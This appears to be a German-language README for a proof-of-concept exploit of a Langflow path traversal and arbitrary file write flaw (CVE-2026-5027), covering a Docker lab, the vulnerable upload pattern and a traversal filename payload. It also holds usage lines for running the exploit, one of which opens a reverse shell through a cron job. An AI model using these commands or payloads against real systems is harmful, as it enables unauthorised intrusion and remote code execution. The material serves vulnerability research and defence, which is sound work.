
Proof-of-Concept-Exploit für CVE-2026-5027, einen Path-Traversal und beliebiges Dateischreiben im /api/v2/files-Endpunkt von Langflow, mit Docker-Lab und Reverse-Shell-Option.
Dieser Beitrag ist ein Forschungartikel, der von EQSTLab veröffentlicht wurde.
Dank an Yahia Hamza, der diese Schwachstelle gemeldet und analysiert hat.
★ CVE-2026-5027 Langflow Path Traversal / Arbitrary File Write PoC ★

CVE-2026-5027 : Langflow Arbitrary File Write Vulnerability
Beschreibung: Eine Path-Traversal-Schwachstelle in Langflow <= 1.8.4 ermöglicht es Angreifern, beliebige Dateien außerhalb des vorgesehenen Upload-Verzeichnisses zu schreiben, indem sie einen manipulierten Multipart-filename an den Endpunkt /api/v2/files übermitteln. In Bereitstellungen, in denen Auto-Login aktiviert ist oder die Authentifizierung anderweitig nur schwach durchgesetzt wird, kann dieses Problem ausgenutzt werden, um Remote Code Execution zu erreichen, indem angreiferkontrollierte Inhalte an sensible Dateisystemorte geschrieben werden.
Erstellen und starten Sie die verwundbare Umgebung mit Docker:
docker build -t cve-2026-5027 .
docker run --rm -it -p 9013:9013 --name cve-2026-5027 cve-2026-5027
# Proof of concept (writes test file to /tmp/)
python3 CVE-2026-5027.py -t <TARGET>
# Reverse shell via cron job
python3 CVE-2026-5027.py -t <TARGET> --lhost <YOUR_IP> --lport 4444
Verwundbarer Endpunkt
POST /api/v2/files
Das Problem besteht darin, dass die Upload-Funktionalität dem vom Client bereitgestellten Multipart-filename-Wert vertraut. Anstatt einen sicheren serverseitigen Speichernamen zu generieren oder den aufgelösten Pfad auf ein dediziertes Upload-Verzeichnis zu beschränken, erlaubt der verwundbare Codepfad Traversierungssequenzen wie ../, den endgültigen Zielpfad zu beeinflussen.
Infolgedessen kann ein Angreifer das vorgesehene Speicher-Stammverzeichnis verlassen und die Anwendung dazu zwingen, Dateien an beliebige Orte im Server-Dateisystem zu schreiben.
Ein repräsentativer Ausnutzungsablauf ist wie folgt:
/api/v2/files übermitteln.filename mit Path-Traversal-Sequenzen angeben.Dies ist grundsätzlich ein CWE-22: Improper Limitation of a Pathname to a Restricted Directory-Problem.
Der Sicherheitsfehler wird durch unzureichende Bereinigung und Validierung benutzerkontrollierter Dateipfade während der Upload-Verarbeitung verursacht. Die Anwendung akzeptiert den ursprünglichen Client-Dateinamen und übergibt ihn an den Speicher-Workflow, ohne angemessen Pfadnormalisierung und -eindämmung durchzusetzen.
Aus defensiver Sicht ist das gefährliche Muster konzeptionell ähnlich wie das folgende:
save_path = base_dir / file.filename
Wenn file.filename Path-Traversal-Komponenten wie die folgenden enthält:
../../../../tmp/poc.txt
kann der endgültig aufgelöste Pfad außerhalb von base_dir zeigen, was beliebiges Dateischreiben ermöglicht.
Schwachstellen für beliebiges Dateischreiben sind oft schwerwiegender als Standardprobleme mit uneingeschränktem Upload, da der Angreifer nicht nur die Dateiinhalte, sondern auch den Zielpfad kontrolliert. Abhängig von den Laufzeitberechtigungen des Langflow-Prozesses kann dies Folgendes ermöglichen:
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Obtain access token
| or abuse auto-login
v
+-------------------------------------------+
| Langflow /api/v2/files |
+-------------------------------------------+
|
| Crafted multipart filename
| (../ directory traversal)
v
+-------------------------------------------+
| Arbitrary File Write (Outside Upload Dir) |
+-------------------------------------------+
|
| Write to sensitive location
v
+-------------------------------------------+
| Potential Remote Code Execution |
+-------------------------------------------+
Dieses Repository ist nicht dazu gedacht, die unbefugte Ausnutzung von Langflow-Instanzen zu erleichtern. Der Zweck dieses Projekts ist es, Sicherheitsforschern, Verteidigern und Entwicklern zu helfen, die Schwachstelle zu verstehen, die Exposition in kontrollierten Umgebungen zu validieren und wirksame Gegenmaßnahmen anzuwenden.